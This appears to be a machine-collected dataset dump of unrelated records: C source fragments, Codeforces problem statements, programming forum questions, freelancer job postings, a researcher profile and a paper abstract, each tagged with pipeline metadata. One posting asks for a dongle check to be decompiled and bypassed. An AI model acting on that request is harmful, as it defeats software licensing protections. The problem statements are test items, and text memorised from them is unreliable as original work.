BLADE_PROTOCOL_RQU_MARSHAL(\n\t\t\tpool,\n\t\t\t&(blade_protocol_rqu_t){\n\t\t\t\tBLADE_PROTOCOL_CMD_PROVIDER_RANK_UPDATE,\n\t\t\t\tprotocol,\n\t\t\t\tparams}))) {\n\t\tks_log(KS_LOG_WARNING, \"Failed to allocate protocol request\");\n\n\t\t/* Since params is allocated in the same pool, nothing to worry about with ownership */\n\t\tks_json_delete(&params);\n\t\tks_pool_close(&pool);\n\t\treturn cmd;\n\t}\n\n\t/* Now hand it to the command, it will take ownership of it if successful\n\t * and null out our ptr */\n\tif ((status = swclt_cmd_create_ex(\n\t\t\t&cmd,\n\t\t\t&pool,\n\t\t\tcb,\n\t\t\tcb_data,\n\t\t\tBLADE_PROTOCOL_METHOD,\n\t\t\t&request,\n\t\t\tBLADE_PROTOCOL_TTL_MS,\n\t\t\tBLADE_PROTOCOL_FLAGS,\n\t\t\tks_uuid_null()))) {\n\t\tks_log(KS_LOG_WARNING, \"Failed to allocate protocol cmd: %lu\", status);\n\n\t\t/* Safe to free this or at least attempt to, cmd will have set it to null if it\n\t\t * took ownership of it */\n\t\tks_json_delete(&request);\n\t\tks_pool_close(&pool);\n\t\treturn cmd;\n\t}\n\n\t/* Phew, successfully allocated the command */\n\treturn cmd;\n}\n\nstatic inline swclt_cmd_t CREATE_BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_CMD(\n\tconst char *protocol,\n\tint rank)\n{\n\treturn CREATE_BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_CMD_ASYNC(\n\t\tNULL,\n\t\tNULL,\n\t\tprotocol,\n\t\trank);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 3448, "token_count_with_eod": 3449, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You are given three integers $$$n$$$, $$$k$$$ and $$$f$$$.\n\nConsider all binary strings (i. e. all strings consisting of characters $$$0$$$ and/or $$$1$$$) of length from $$$1$$$ to $$$n$$$. For every such string $$$s$$$, you need to choose an integer $$$c_s$$$ from $$$0$$$ to $$$k$$$.\n\nA multiset of binary strings of length exactly $$$n$$$ is considered beautiful if for every binary string $$$s$$$ with length from $$$1$$$ to $$$n$$$, the number of strings in the multiset such that $$$s$$$ is their prefix is not exceeding $$$c_s$$$.\n\nFor example, let $$$n = 2$$$, $$$c_{0} = 3$$$, $$$c_{00} = 1$$$, $$$c_{01} = 2$$$, $$$c_{1} = 1$$$, $$$c_{10} = 2$$$, and $$$c_{11} = 3$$$. The multiset of strings $$$\\{11, 01, 00, 01\\}$$$ is beautiful, since:\n\n- for the string $$$0$$$, there are $$$3$$$ strings in the multiset such that $$$0$$$ is their prefix, and $$$3 \\le c_0$$$;\n- for the string $$$00$$$, there is one string in the multiset such that $$$00$$$ is its prefix, and $$$1 \\le c_{00}$$$;\n- for the string $$$01$$$, there are $$$2$$$ strings in the multiset such that $$$01$$$ is their prefix, and $$$2 \\le c_{01}$$$;\n- for the string $$$1$$$, there is one string in the multiset such that $$$1$$$ is its prefix, and $$$1 \\le c_1$$$;\n- for the string $$$10$$$, there are $$$0$$$ strings in the multiset such that $$$10$$$ is their prefix, and $$$0 \\le c_{10}$$$;\n- for the string $$$11$$$, there is one string in the multiset such that $$$11$$$ is its prefix, and $$$1 \\le c_{11}$$$.\n\nNow, for the problem itself. You have to calculate the number of ways to choose the integer $$$c_s$$$ for every binary string $$$s$$$ of length from $$$1$$$ to $$$n$$$ in such a way that the maximum possible size of a beautiful multiset is exactly $$$f$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 544, "token_count_with_eod": 545, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A colored stripe is represented by a horizontal row of n square cells, each cell is pained one of k colors. Your task is to repaint the minimum number of cells so that no two neighbouring cells are of the same color. You can use any color from 1 to k to repaint the cells.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I decreased logical volume\nlv_postgres size for a 5G. then redistributed free space to other lv\nlv_home, but didn't do resize2fs for the decreased volume\nlv_postgres'. At the next boot i fall into emergence mode and\nresize2fs lv_postgres dont't do the task saying \"Please run\ne2fsck -f\" and the last one say \"Either the superblock or pt is likely to be corrupt\" if i continue then on pass 5 get \"error reading block while reading inode and block bitmaps\"\nthe fs size according to superblock is 2564096 blocks\nthe physical size of device is 1253376 blocks\ni want to reduce volume from 9.78G to 4.78G to match required size\nWhich is a right way to correct size for volume?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 185, "token_count_with_eod": 186, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am modifying a design and have done the following per the instructions.\nEach of these is a folder.\nIn the index folder I put a file called styles.post.tpl\ninside the styles.post.tpl it shows\nI then created a css file called styles.css in the following folder\nSo the styles.post.tpl is in the index folder and styles.css is in the my_changes folder.\nI tried so any combinations of placing files in folders but just can't seem to make the change happen. All I want to do is be able to update the CSS from another stylesheet so when the time comes to upgrade the site doesn't get affected.\nAny ideas? Advice? Anything", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 136, "token_count_with_eod": 137, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vanya and his friend Vova play a computer game where they need to destroy n monsters to pass a level. Vanya's character performs attack with frequency x hits per second and Vova's character performs attack with frequency y hits per second. Each character spends fixed time to raise a weapon and then he hits (the time to raise the weapon is 1 / x seconds for the first character and 1 / y seconds for the second one). The i-th monster dies after he receives ai hits.\n\nVanya and Vova wonder who makes the last hit on each monster. If Vanya and Vova make the last hit at the same time, we assume that both of them have made the last hit.", "source": "cpt_codeforces", "language": "en", "token_count": 144, "token_count_with_eod": 145, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "If necessary you can run an SQL command in Rock Gym Pro. However, running the wrong SQL command can destroy your Rock Gym Pro database. DO NOT RUN a SQL command unless you know exactly what you are doing or have received the SQL command directly from the Rock Gym Pro developer.\n- In the Data Entry main window click Manage, select Maintenance and then select Execute SQL Command.\n- Enter the command and click Run SQL Command.\n- Click Close to exit.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 94, "token_count_with_eod": 95, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Polycarpus plays with red and blue marbles. He put n marbles from the left to the right in a row. As it turned out, the marbles form a zebroid.\n\nA non-empty sequence of red and blue marbles is a zebroid, if the colors of the marbles in this sequence alternate. For example, sequences (red; blue; red) and (blue) are zebroids and sequence (red; red) is not a zebroid.\n\nNow Polycarpus wonders, how many ways there are to pick a zebroid subsequence from this sequence. Help him solve the problem, find the number of ways modulo 1000000007 (109 + 7).", "source": "cpt_codeforces", "language": "en", "token_count": 159, "token_count_with_eod": 160, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "What did JoeW eat for breakfast?\nOkay, more serious question, do we have any information anywhere about the materials the Voxola radio is made of? I'm going to build a replica (yes, -Variant , I haven't forgotten!) and I'm trying to get as much to work with, as possible\n(Edit: how the heck do I turn a member name into a link so they can see it?)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 85, "token_count_with_eod": 86, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "To those familiar with the syntax...\nCould you please help me in setting up an expression for the function preg_match_all which is parsing a file named \"file.txt\":\nEvery line from that file has to be in different <TR> of a table.\nThere are 7 couples of words on each line of the file which are all seperated by a TAB space. Every one of these couples of words has to be located on a separate <TD> of that <TR>\nwhat should the expression be in order to have such an effect..?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 113, "token_count_with_eod": 114, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given $$$n$$$ arrays $$$a_1$$$, $$$\\ldots$$$, $$$a_n$$$. The length of each array is two. Thus, $$$a_i = [a_{i, 1}, a_{i, 2}]$$$. You need to concatenate the arrays into a single array of length $$$2n$$$ such that the number of inversions$$$^{\\dagger}$$$ in the resulting array is minimized. Note that you do not need to count the actual number of inversions.\n\nMore formally, you need to choose a permutation$$$^{\\ddagger}$$$ $$$p$$$ of length $$$n$$$, so that the array $$$b = [a_{p_1,1}, a_{p_1,2}, a_{p_2, 1}, a_{p_2, 2}, \\ldots, a_{p_n,1}, a_{p_n,2}]$$$ contains as few inversions as possible.\n\n$$$^{\\dagger}$$$The number of inversions in an array $$$c$$$ is the number of pairs of indices $$$i$$$ and $$$j$$$ such that $$$i < j$$$ and $$$c_i > c_j$$$.\n\n$$$^{\\ddagger}$$$A permutation of length $$$n$$$ is an array consisting of $$$n$$$ distinct integers from $$$1$$$ to $$$n$$$ in arbitrary order. For example, $$$[2,3,1,5,4]$$$ is a permutation, but $$$[1,2,2]$$$ is not a permutation ($$$2$$$ appears twice in the array), and $$$[1,3,4]$$$ is also not a permutation ($$$n=3$$$ but there is $$$4$$$ in the array).", "source": "cpt_codeforces", "language": "en", "token_count": 363, "token_count_with_eod": 364, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A new entertainment has appeared in Buryatia — a mathematical circus! The magician shows two numbers to the audience — $$$n$$$ and $$$k$$$, where $$$n$$$ is even. Next, he takes all the integers from $$$1$$$ to $$$n$$$, and splits them all into pairs $$$(a, b)$$$ (each integer must be in exactly one pair) so that for each pair the integer $$$(a + k) \\cdot b$$$ is divisible by $$$4$$$ (note that the order of the numbers in the pair matters), or reports that, unfortunately for viewers, such a split is impossible.\n\nBurenka really likes such performances, so she asked her friend Tonya to be a magician, and also gave him the numbers $$$n$$$ and $$$k$$$.\n\nTonya is a wolf, and as you know, wolves do not perform in the circus, even in a mathematical one. Therefore, he asks you to help him. Let him know if a suitable splitting into pairs is possible, and if possible, then tell it.", "source": "cpt_codeforces", "language": "en", "token_count": 217, "token_count_with_eod": 218, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n * mmt_lib.h\n *\n *  Created on: Oct 14, 2016\n *  Created by: Huu Nghia NGUYEN <huunghia.nguyen@montimage.com>\n */\n\n#ifndef SRC_LIB_MMT_LIB_H_\n#define SRC_LIB_MMT_LIB_H_\n\n#include \"base.h\"\n#include \"linked_list.h\"\n#include \"mmt_log.h\"\n#include \"mmt_alloc.h\"\n#include \"mmt_dbl_linked_list.h\"\n#include \"mmt_map_t.h\"\n#include \"mmt_array_t.h\"\n#include \"mmt_utils.h\"\n#include \"system_info.h\"\n#include \"mmt_hash64.h\"\n#include \"mmt_hash.h\"\n#include \"mmt_bit.h\"\n#endif /* SRC_LIB_MMT_LIB_H_ */", "source": "cpt_stack_code", "language": "code", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "2017 - ACM Fellow For contributions to die-stacking technologies in computer architecture\n2014 - ACM Distinguished Member\n2009 - ACM Senior Member\nHis primary scientific interests are in Embedded system, Parallel computing, Cache, Dram and Static random-access memory. His research in the fields of Microarchitecture and Routing overlaps with other disciplines such as Stacking. His study in Parallel computing is interdisciplinary in nature, drawing from both Computer architecture, System on a chip, Central processing unit and Translation lookaside buffer.\nHis study involves Pipeline burst cache and Cache algorithms, a branch of Cache. Gabriel H. Loh combines subjects such as Random access memory, Memory controller, Flat memory model, Memory management and Multi-core processor with his study of Dram. Within one scientific family, Gabriel H. Loh focuses on topics pertaining to Universal memory under Static random-access memory, and may sometimes address concerns connected to Memory rank.\nHis primary areas of investigation include Parallel computing, Computer hardware, Cache, Embedded system and Interleaved memory. His work in Parallel computing tackles topics such as Scalability which are related to areas like Interconnection. His work deals with themes such as Dram, Multi-core processor and Static random-access memory, which intersect with Embedded system.\nHis studies deal with areas such as Random access memory and CAS latency as well as Dram. His Interleaved memory study incorporates themes from Registered memory, Extended memory, Memory map and Uniform memory access. His study focuses on the intersection of Cache coloring and fields such as Page cache with connections in the field of Cache-oblivious algorithm.\nHis primary scientific interests are in Cache, Parallel computing, Operating system, Page table and Computer network. His research on Cache focuses in particular on CPU cache. His study ties his expertise on General-purpose computing on graphics processing units together with the subject of Parallel computing.\nHis Scheduling study deals with Quality of service intersecting with Embedded system. His study in the fields of Field-programmable gate array under the domain of Embedded system overlaps with other disciplines such as Design process. In his research, Dram is intimately related to Electrical engineering, which falls under the overarching field of Memory bandwidth.\nGabriel H. Loh focuses on Memory management, Parallel computing, Memory bandwidth, Interleaved memory and Page table. His Memory management study combines topics in areas such as Dram, Non-volatile memory, Multi-core processor and Virtualization. His research in Dram intersects with topics in Supercomputer, Random access memory, Shared memory, Embedded system and Computer network.\nHis Speedup study, which is part of a larger body of work in Parallel computing, is frequently linked to Interrupt, bridging the gap between disciplines. His research investigates the link between Interleaved memory and topics such as Distributed shared memory that cross with problems in Memory map and Computer architecture. His biological study spans a wide range of topics, including Bottleneck, Virtual address space, Scheduling and SIMD.\nThis overview was generated by a machine learning system which analysed the scientist’s body of work. If you have any feedback, you can contact us here.\n3D-Stacked Memory Architectures for Multi-core Processors\nGabriel H. Loh.\ninternational symposium on computer architecture (2008)\nDie Stacking (3D) Microarchitecture\nBryan Black;Murali Annavaram;Ned Brekelbaum;John DeVale.\ninternational symposium on microarchitecture (2006)\nDesign space exploration for 3D architectures\nYuan Xie;Gabriel H. Loh;Bryan Black;Kerry Bernstein.\nACM Journal on Emerging Technologies in Computing Systems (2006)\nUse ECP, not ECC, for hard failures in resistive memories\nStuart Schechter;Gabriel H. Loh;Karin Strauss;Doug Burger.\ninternational symposium on computer architecture (2010)\nProcessor Design in 3D Die-Stacking Technologies\nGabriel H. Loh;Yuan Xie;Bryan Black.\nIEEE Micro (2007)\nPIPP: promotion/insertion pseudo-partitioning of multi-core shared caches\nYuejian Xie;Gabriel H. Loh.\ninternational symposium on computer architecture (2009)\nStaged memory scheduling: achieving high performance and scalability in heterogeneous systems\nRachata Ausavarungnirun;Kevin Kai-Wei Chang;Lavanya Subramanian;Gabriel H. Loh.\ninternational symposium on computer architecture (2012)\nEfficiently enabling conventional block sizes for very large die-stacked DRAM caches\nGabriel H. Loh;Mark D. Hill.\ninternational symposium on microarchitecture (2011)\nThermal analysis of a 3D die-stacked high-performance microprocessor\nKiran Puttaswamy;Gabriel H. Loh.\ngreat lakes symposium on vlsi (2006)\n3D-MAPS: 3D Massively parallel processor with stacked memory\nDae Hyun Kim;Krit Athikulwongse;Michael Healy;Mohammad Hossain.\ninternational solid-state circuits conference (2012)\nIf you think any of the details on this page are incorrect, let us know.\nWe appreciate your kind effort to assist us to improve this page, it would be helpful providing us with as much detail as possible in the text box below:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*************************************************************************\n    > File Name: remove-duplicates-from-sorted-list.c\n# File Name:    remove-duplicates-from-sorted-list.c\n# Author:       mist-river\n# https://leetcode-cn.com/problems/remove-duplicates-from-sorted-list/\n# Created Time: 2021年04月16日 星期五 21时01分49秒\n ************************************************************************/\n#include <stdio.h>\n#include <stdlib.h>\n\nstruct ListNode {\n  int val;\n  struct ListNode *next;\n};\n\nstruct ListNode* deleteDuplicates(struct ListNode* head){\n    if (head == NULL) {\n        return head;\n    }\n    struct ListNode *temp;\n    temp = head;\n    while (temp->next != NULL) {\n        if (temp->val == temp->next->val) {\n            temp->next = temp->next->next;\n        } else {\n            temp = temp->next;\n        }\n    }\n    return head;\n}\n\nint main() {\n    int i;\n    //初始化链表\n    struct ListNode * head, * temp;\n    head = (struct ListNode *)malloc(sizeof(struct ListNode));\n    temp = head;\n    for (i=1; i<8; i++) {\n        struct ListNode *n = (struct ListNode *)malloc(sizeof(struct ListNode));\n        n->val = i/2 + 1;\n        n->next = NULL;\n        temp->next = n;\n        temp = temp->next;\n    }\n    head = deleteDuplicates(head->next);\n    //遍历链表\n    temp = head;\n    while (temp != NULL) {\n        printf(\"%d\\n\", temp->val);\n        temp = temp->next;\n    }\n}", "source": "cpt_stack_code", "language": "code", "token_count": 390, "token_count_with_eod": 391, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "...controller at the top. Author: Christopher Veltri Title: Suburban Legend Back of Book Copy: A deadly book, a vicious videogame, and a quiet suburban town. When bookish Ralph Marker moves back to Wilhelmina to live with his father, a dark videogame finds its way into his hands. As Ralph’s obsession grows, deadly creatures begin stirring in the quiet town\nHi, I have a very old DOS program that is used to work with a old marker/printing machine. The problem checks for a PARALLEL port dongle on start as a security measurement. The program is over 20 years old, so no support, no vendor, nothing. I would like to know if it is possible to decompile the program, find the routine that checks for the dongle\nHi, I'm in the housing developer company and having an apartment project which need total 5 pcs of hand drawn marker pen/ water color illustration on the exterior of the building as well as some interiors of the apartment. Please see the attached file and contact me if this is something you are good with. Thanks!\nHi, we are using Elementor Pro CreaMaps CodeCanyone Plugin Ultimate Addons PowerPack Addons We must Link a Google Maps Marker to a Elementor Section via Modal or Popup, the content is already in place we just need to make the Custom Code to make it work. Further instructions on PM, please must start now and finish with the next 4-6 hrs. Thank you\nHello. There is Augmented Reality app created for us. Its for a business card. When app is installed the user can open it, scan the businesscard, marker then is recognised and it triggers the video presentation of the owner of the businesscard. It was made in Unity. The app for android works already. Now we need to compile the build for IPHONE.\nname is All American we are a patriotic Company We are a commercial builder We do repair, construction. i like the use of my up loaded pic i like the use of construction, roofs, building i like the use of red,white and blue\nI am making an app for finding places with GoogleMaps, what i need is a markerClickerOnListener that shows the ...is a markerClickerOnListener that shows the detailed information of that place. Stuff like: Phone Number, website, images and rating. what i want is that when i click on a marker, opens a new activity just like the on the image i've sent.\n...publishing company based in Scotland. Our business aim is to create quality learning materials in minority languages, many of which do not currently exist in English. Our social mission is to help preserve and expand the usage of minority languages. We are looking for freelancers who can help us expand our portfolio. We ideally want to develop long-term\n...us build a POC app within a month or two. The app may utilize geolocation and we I would like to add that either ARCore or ARKit would work for us. The AR may use of both- Markerless and Marker based AR. You are more than welcome to suggest any other possible technologies-APIs. We already have the clickable, prototype designed in an Adobe XD document\nI have a login system done (design, database, php code) all done but I dont know why it is not working needed a fix\nBlog Website with content in a flipbook style The book marker ‘menu’ should take the user to the Chapter Page The Chapter page gives the user an option to select a chapter to read, or to page forward to read. This style [kirjaudu nähdäksesi URL:n] When the user selects one chapter they go to a double page on the PC and Ipad The page\n...community of people that want to use social media and landing pages as a recruiting tool instead of the old school cold calling and hotel meetings. This book is to set the tone, expectation and rough outline of how to be a more modern network marketer. The premise of the book is to teach network marketers how to use social media to recruit people for their\n...demo application. Without going into much details now, this is what I need: 1. A page showing a Google map with some markers on it. Input: a json string holding marker coordinates and marker info. Output: a map showing these markers with info. The map is interactive in the usual way. 2. A page showing a Google maps Place autocomplete search field with\nNeed new letterhead for a new company \" National Verification Services\" black ink is fine. Want the letterhead to be different. Use your imagination. The attachment is from a tax verification business i used to own.\nI simply need a search engine. I will give more details after bidding.\n...script to play video fullscreen based on the vuforia core samples 7.5 image targets. Based on the vuforia 7.5 core samples, there's an image target named fissure 1. I need the marker to play a fullscreen video streamed from a web server when the user click on the play button 2. It needs to work on both ios and android 3. Development needs to be on the latest\nWe are looking for experience in creating wordpress plugins (since we use plugins). We need something like skin for the plugin. We need good people with PROFESSIONAL The product is intended for a bank so it must be formal but at the same time user \"friendly\"\nI need 10 Seo I wou...say that the grade received is unfair and doesn't represent what has been provided to other students. There is clearly a lack of effort and focus in the process and that the marker just lazily skimmed through the project and hasn't put sufficient effort into it Articles. Topics will be related to health, fitness, wellness etc.\nI need a logo designed. i need it to complete it as faster as possible with in time limit . dont bit if you cannot complete it dont wast the time of us\nmy brand name is \"Gline\",could you please help to design one logo for me?We are focus on doing self adhesive stickers for h...design one logo for me?We are focus on doing self adhesive stickers for home decor line,I'd like my brand logo with unique shape and my brand name together. Pls don't use free logo marker,i've checked several of them. Thanks.\nI need to develop an app for Android and Ios to view a 360 video through the recognition of a Marker (Image Target Vuforia). This project must work on Unity3d 2017 and Vuforia\n...which we can render simple AR gaming experience. • We will require a web page , upon opening of same we would ask to get user's camera access. Once we get that we will need Marker less AR experience. • AR experience side - we will require a 3D model where Coins are pouring from clouds and with camera movement user can have gamification by collecting\nshould give a pop up whenever the website is opened, also website is dynamic in nature\nI need e-comerce website (advertisments) where people will be able to pay a fixed amount of ...their advertisments after the payment will be confirmed. Also there will be a need to work with maps api (here maps)...where each of registered users will be able to put a marker on the map for everyone else to see! Also, SQL injection is a real threat...\n...entry with more than 20 fields. Data needs to be stored in back-end. One of the data point contains address. 2. On a screen with Google Maps embedded, it should plot the pin/marker based on the information given in point 1 above. 3. With say a 'trace' mode on, the screen should highlight the pin/markers in the specified radius (e.g. 1 Km). 4. The points\nfinancial analysis using Excel and discussion, needs someone with finance knowledge Finance project $20, need in 4 hours, dont bid if you cant do in $20\nfinancial analysis using Excel and discussion, needs someone with finance knowledge Finance project $20, need in 5 hours, dont bid if you cant do in $20\nI need to review the installation and correct the database, I need my site to work\n...con markers y detecte cuando el usuario haga clic en un marker, y me devuelva a una url pasando por json el id del marker donde el usuario hizo clic ademas en un panel de la izq, vaya armando visualmente al usuario, todos los puntos donde hizo clic, con el nombre y el monto de cada marker clickeado Visualmente la pantalla deberá tener 2 paneles\nBook Front / Back cover for a novel. Illustration / graphic like the attached. Same colors. Same Font (Marker Felt) Silhouette. 2 young women facing each other in profile. Woman on L. has short Afro, polo type shirt, jeans. Can only see the outline of the clothes, facial features are similar to image Facial profile somewhat but not exactly similar\nWe are looking for someone who can illustrate similar to below: [kirjaudu nähdäksesi URL:n] [kirjaudu nähdäksesi URL:n] If you have the skills to do similar\nI need to calculate the distance with google distance matri...places autocomplete with 2 inputs: COLLECTION and DESTINATION (THIS WORKS right now) -> send values to another page -> At the top: show a google map with the distances (marker, route) show the distance value in km at a certain position. ONLY FOR FREELANCER WITH GOOGLE API EXPERIENCE.\nI have a black chalkboard wall, and I’d like to have someone decorate it with white chalk/marker for the holidays. Calligraphy, subway art/text, with graphics. Example - Christmas song lyrics, Christmas tree, poinsettia, wreaths, etc.\nJust need some help wrapping up a project with a few remaining issues. 1. Cannot seem ...seem to be the map markers to bounce on click 2. Need user message for any Google Maps API failures as images not being available or API key is bad 3. When i click the map marker and close and reopen the same one the state is not returning to be able to re open it\ndont bid if you cant work through team viewer and don't waste my time . things to do reduce width of ag-grid and align data in ag-grid cell by applying unique css classes so it wont bother other grid and last one is caret alignment . if you are are scss pro we can complete in 2-3 hours .\n...select a virtual model and give returns (automatically or accelerometer), and in the case of AR could change their orientation with respect to translation or coordinate system marker). 3. Navigation (to move the camera to the virtual environment) 4. Ability to modify the virtual lighting and material properties assigned to objects. Additional information:\n...uploaded to Firebase Storage -> Current location coordinates get tracked -> Url of recording and coordinates get pushed to the Firebase Realtime DB. User pushes on location marker -> Audio recording get's pulled from the Firebase Storage and played. Following Cocoapods are currently installed: Firebase (all Package incl. Storage),Mapbox-iOS SDK. Coded\nHello There I dont recieve emails, can only send.. Servertype: Ubuntu 18 Hosted: At linode and dns at linode also Looking for someone expirence in iredadmin, too check dns and iredadmin log for mistake and make the server work.\ni am looking for an android native developer who can add a feature in my current application 1) add coordinates (lat,long) on camera Like Augmented Reality ( everything i...on camera Like Augmented Reality ( everything is ready you just have to read the code and call the api on for lat and longs and show locations make a click listner for every marker\nI need help with formatting my upcoming novel (fiction) to Kindle and Createspace (Amazon), help with publishing and promote on Amazon/social media. Please bid only if you have relevant experience. Best Regards Sri\n...their camera on their phone or computer to play the content. (not via an app). Additionally, I'd like to not have to use a QR code. IF this works well, I'd like to build a backend to this so we could upload our own markers and content to use in the future as we need. my ultimate plan will be to add on to this so we can upload other markers to be scanned\nwix blog you have to kano very well wix,\n...a mobile app with a page having a leaflet map and markers ontop of it. Clicking in any marker should popup react native popup message having the marker name. Something like in this example ([kirjaudu nähdäksesi URL:n]) but I want to use this custom ESRI ArcGIS basemap instead ([kirjaudu nähdäksesi URL:n]\n...Display POI markers in the map - Search bar to search for POI code with storing POI data offline to view markers/search when their is no internet - Click in POI search result or marker in the map to view 'Direction' button to open direction in other existing map applications (Google Map, osmand etc.) that is in addition to a backend for the following: -\nFor use on a Joomla 3 website i want an implementation of this library as tooltip system. [kirjaudu nähdäksesi URL:n] The tooltip is primarily used to display a piece of text. But the text comes from the database and may contain html with class names for presentation. On devices with a mouse the tooltip should appear on hover. On devices", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2842, "token_count_with_eod": 2843, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Background: Diagnosing epileptic seizures using electroencephalogram (EEG) in combination with deep learning computational methods has received much attention in recent years. However, to date, deep learning techniques in seizure detection have not been effectively harnessed due to sub-optimal classifier design and improper representation of the time-domain signal. Methods: In this study, we focused on designing and evaluating deep convolutional neural network-based classifiers for seizure detection. Signal-to-image conversion methods are proposed to convert time-domain EEG signal to a time-frequency represented image to prepare the input data for classification. We proposed and evaluated three classification methods comprising of five classifiers to determine which is more accurate for seizure detection. Accuracy data were then compared to previous studies of the same dataset. Results: We found our proposed model and signal-to-image conversion method outperformed all previous studies in the most cases. The proposed FT-VGG16 classifier achieved the highest average classification accuracy of 99.21%. In addition, the Shapley Additive exPlanations (SHAP) analysis approach was employed to uncover the feature frequencies in the EEG that contribute most to improved classification accuracy. To the best of our knowledge, this is the first study to compute the contribution of frequency components to target seizure classification; thus allowing the identification of distinct seizure-related EEG frequency components compared to normal EEG measures. Conclusions: Thus our developed deep convolutional neural network models are useful to detect seizures and characteristic frequencies using EEG data collected from the patients and this model could be clinically applicable for the automated seizures detection.\nA deep convolutional neural network method to detect seizures and characteristic frequencies using epileptic electroencephalogram (EEG) data https://www.embs.org/jtehm/wp-content/themes/movedo/images/empty/thumbnail.jpg 150 150 IEEE Journal of Translational Engineering in Health and Medicine (JTEHM) //www.embs.org/jtehm/wp-content/uploads/sites/17/2022/06/ieee-jtehm-logo2x.png", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 417, "token_count_with_eod": 418, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array $$$a$$$ of $$$n$$$ positive integers. Determine if, by rearranging the elements, you can make the array strictly increasing. In other words, determine if it is possible to rearrange the elements such that $$$a_1 < a_2 < \\dots < a_n$$$ holds.", "source": "cpt_codeforces", "language": "en", "token_count": 65, "token_count_with_eod": 66, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "After changing release artist (http://musicbrainz.org/edit/14469027) I had to change each track artist credits manually! http://musicbrainz.org/edit/14469028\nIsn't this a duplicate of MBS-2041?\nProbably. But I wonder if - besides some automatic guess - a manual action through a button couldn't be useful too.\nThe checkbox seems a bit disconnected with what it actually does, moving it to the tracklist tab and making it a button could be a good idea.\nNew test case, and me getting more angry about RE:\nhttp://musicbrainz.org/release/34800f8a-8ee5-4e6a-a2a7-12eed779be39 and http://musicbrainz.org/edit/14681621 doing nothing.\nmerged into master, commit 15852797db52e55c48e6b41655b776f9d4b367b7 .", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 239, "token_count_with_eod": 240, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n    Name 1: Chia-Ju, Chen\n    UTEID 1: cc65542\n*/\n\n/***************************************************************/\n/*                                                             */\n/*   LC-3b Simulator                                           */\n/*                                                             */\n/*   EE 460N                                                   */\n/*   The University of Texas at Austin                         */\n/*                                                             */\n/***************************************************************/\n\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n/***************************************************************/\n/*                                                             */\n/* Files:  ucode        Microprogram file                      */\n/*         isaprogram   LC-3b machine language program file    */\n/*                                                             */\n/***************************************************************/\n\n/***************************************************************/\n/* These are the functions you'll have to write.               */\n/***************************************************************/\n\nvoid eval_micro_sequencer();\nvoid cycle_memory();\nvoid eval_bus_drivers();\nvoid drive_bus();\nvoid latch_datapath_values();\n\n/***************************************************************/\n/* A couple of useful definitions.                             */\n/***************************************************************/\n#define FALSE 0\n#define TRUE  1\n\n/***************************************************************/\n/* Use this to avoid overflowing 16 bits on the bus.           */\n/***************************************************************/\n#define Low16bits(x) ((x) & 0xFFFF)\n\n/***************************************************************/\n/* Definition of the control store layout.                     */\n/***************************************************************/\n#define CONTROL_STORE_ROWS 64\n#define INITIAL_STATE_NUMBER 18\n\n/***************************************************************/\n/* Definition of bit order in control store word.              */\n/***************************************************************/\nenum CS_BITS {                                                  \n    IRD,\n    COND1, COND0,\n    J5, J4, J3, J2, J1, J0,\n    LD_MAR,\n    LD_MDR,\n    LD_IR,\n    LD_BEN,\n    LD_REG,\n    LD_CC,\n    LD_PC,\n    GATE_PC,\n    GATE_MDR,\n    GATE_ALU,\n    GATE_MARMUX,\n    GATE_SHF,\n    PCMUX1, PCMUX0,\n    DRMUX,\n    SR1MUX,\n    ADDR1MUX,\n    ADDR2MUX1, ADDR2MUX0,\n    MARMUX,\n    ALUK1, ALUK0,\n    MIO_EN,\n    R_W,\n    DATA_SIZE,\n    LSHF1,\n    CONTROL_STORE_BITS\n} CS_BITS;\n\n/***************************************************************/\n/* Functions to get at the control bits.                       */\n/***************************************************************/\nint GetIRD(int *x)           { return(x[IRD]); }\nint GetCOND(int *x)          { return((x[COND1] << 1) + x[COND0]); }\nint GetJ(int *x)             { return((x[J5] << 5) + (x[J4] << 4) +\n\t\t\t\t      (x[J3] << 3) + (x[J2] << 2) +\n\t\t\t\t      (x[J1] << 1) + x[J0]); }\nint GetLD_MAR(int *x)        { return(x[LD_MAR]); }\nint GetLD_MDR(int *x)        { return(x[LD_MDR]); }\nint GetLD_IR(int *x)         { return(x[LD_IR]); }\nint GetLD_BEN(int *x)        { return(x[LD_BEN]); }\nint GetLD_REG(int *x)        { return(x[LD_REG]); }\nint GetLD_CC(int *x)         { return(x[LD_CC]); }\nint GetLD_PC(int *x)         { return(x[LD_PC]); }\nint 